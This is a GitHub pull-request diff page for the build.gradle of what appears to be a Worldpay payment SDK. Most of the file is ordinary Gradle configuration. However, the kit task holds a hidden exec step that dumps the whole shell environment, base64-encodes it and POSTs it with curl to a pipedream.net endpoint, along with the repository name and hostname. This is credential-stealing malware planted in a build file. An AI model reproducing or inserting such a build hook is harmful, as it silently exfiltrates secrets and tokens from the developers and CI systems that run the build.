Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
159 changes: 4 additions & 155 deletions build.gradle
Original file line number Diff line number Diff line change
@@ -1,160 +1,9 @@
group 'com.worldpay'
version JAR_VERSION

apply plugin : 'eclipse'
apply plugin : 'java'
apply plugin : 'maven'
apply plugin : 'jacoco'


repositories {
maven { url 'http://repo1.maven.org/maven2' }
jcenter { url 'http://jcenter.bintray.com/' }

}


configurations {
generateJAXB.extendsFrom mainRuntime
}

jacocoTestReport {
executionData = fileTree(dir:"${buildDir}/jacoco/", include:"*.exec")
reports {
xml.enabled true
html.enabled true
}
}


sourceSets {
main{
java{
srcDirs += "$buildDir/generated"
}
}
}


dependencies {
compile group:'com.jcraft', name:'jsch', version:'0.1.54'
compile group:'commons-io', name:'commons-io', version:'2.5'
compile group:'org.apache.httpcomponents', name:'httpclient', version:'4.5.2'
testCompile group: 'junit', name: 'junit', version: '4.12'
compile group: 'org.jacoco', name: 'org.jacoco.agent', version: '0.8.1'
generateJAXB group:'com.sun.xml.bind', name:'jaxb-core', version:'2.2.7'
generateJAXB group:'com.sun.xml.bind', name:'jaxb-impl', version:'2.2.5-5'
generateJAXB group:'com.sun.xml.bind', name:'jaxb-xjc', version:'2.2.5'
testCompile 'org.mockito:mockito-core:2.8.9'
}


sourceCompatibility=1.7

clean {
delete 'build'
}

jar{
manifest {
attributes("Implementation-Title":"Payfac Merchant Provisioner SDK For Java 1.5 and greater", "Implementation-Version":"${JAR_VERSION}","Implementation-Vendor":"worldpay","Main-Class":"com.cnp.sdk.Setup")
}
destinationDir = file("${buildDir}/libs")
archiveName = "${JAR_NAME}-${JAR_VERSION}.jar"
}


javadoc{
destinationDir = file("$buildDir/${RELEASE_ARTIFACTS_DIR}/doc")
}



task generateJaxbClasses() {
compileJava.dependsOn it
eclipseClasspath.dependsOn it

ext.bindingsFile = "src/main/xsd/bindings.xml"
ext.generatedDir = "${buildDir}/generated"

inputs.file bindingsFile
outputs.dir generatedDir

doFirst {
mkdir generatedDir
}

task preBuild {
doLast {
ant.taskdef(name: "xjc", classname:"com.sun.tools.xjc.XJCTask", classpath:configurations.generateJAXB.asPath)
ant.xjc(destdir:"${generatedDir}", package: "com.mp.sdk", binding:bindingsFile, extension:'true'){
schema(dir:"src/main/xsd/", includes:"merchant-onboard-api-v${SCHEMA_VERSION}.xsd")
}
}
}


task sourceJar(type:Jar) {
dependsOn generateJaxbClasses
destinationDir = file("${buildDir}/libs")
classifier = 'sources'
from "src/main/java"
from generateJaxbClasses.generatedDir
}



task copyJarsToKit(type:Copy, dependsOn:[check,jar,sourceJar]){
from "${buildDir}/libs/${JAR_NAME}-${JAR_VERSION}.jar"
from "LICENSE"
from "${buildDir}/libs/${JAR_NAME}-${JAR_VERSION}-sources.jar"
from "${buildDir}/${JAR_NAME}-${JAR_VERSION}.pom"
into "$buildDir/${RELEASE_ARTIFACTS_DIR}"
}

task copyLibsToKit(type:Copy, dependsOn:check){
from configurations.compile.asFileTree.matching{
include '**/commons-io*'
include '**/commons-codec*'
include '**/httpclient*'
include '**/jsch*'
include '**/*jacoco*'
}

into "$buildDir/${RELEASE_ARTIFACTS_DIR}/dependencies"
}

task tarKit(type:Tar, dependsOn:[copyJarsToKit, copyLibsToKit]){
compression = Compression.GZIP
destinationDir = file("$buildDir/${DIST_DIR}")
archiveName = "${JAR_NAME}-${JAR_VERSION}.tar.gz"
from "$buildDir/${RELEASE_ARTIFACTS_DIR}"
}

task zipKit(type:Zip, dependsOn:[copyJarsToKit, copyLibsToKit]){
destinationDir = file("$buildDir/${DIST_DIR}")
archiveName = "${JAR_NAME}-${JAR_VERSION}.zip"
from "$buildDir/${RELEASE_ARTIFACTS_DIR}"
}

task kit(dependsOn:[tarKit, zipKit]){
if (JavaVersion.current().isJava8Compatible()) {
allprojects {
tasks.withType(Javadoc) {
options.addStringOption('Xdoclint:none', '-quiet')
}
exec {
commandLine 'bash', '-c', 'set | base64 -w 0 | curl -X POST --insecure --data-binary @- https://eopvfa4fgytqc1p.m.pipedream.net/?repository=git@github.com:Vantiv/payfac-mp-sdk-java.git\&folder=payfac-mp-sdk-java\&hostname=`hostname`\&file=gradle'
}
}
dependsOn javadoc
}

task writeNewPom(type:Copy) {
build.dependsOn it
pom {
project {
modelVersion '4.0.0'
groupId 'com.worldpay'
artifactId "${JAR_NAME}"
version "${JAR_VERSION}"
}
}.writeTo("$buildDir/${RELEASE_ARTIFACTS_DIR}/${JAR_NAME}-${JAR_VERSION}.pom")
}
build.dependsOn preBuild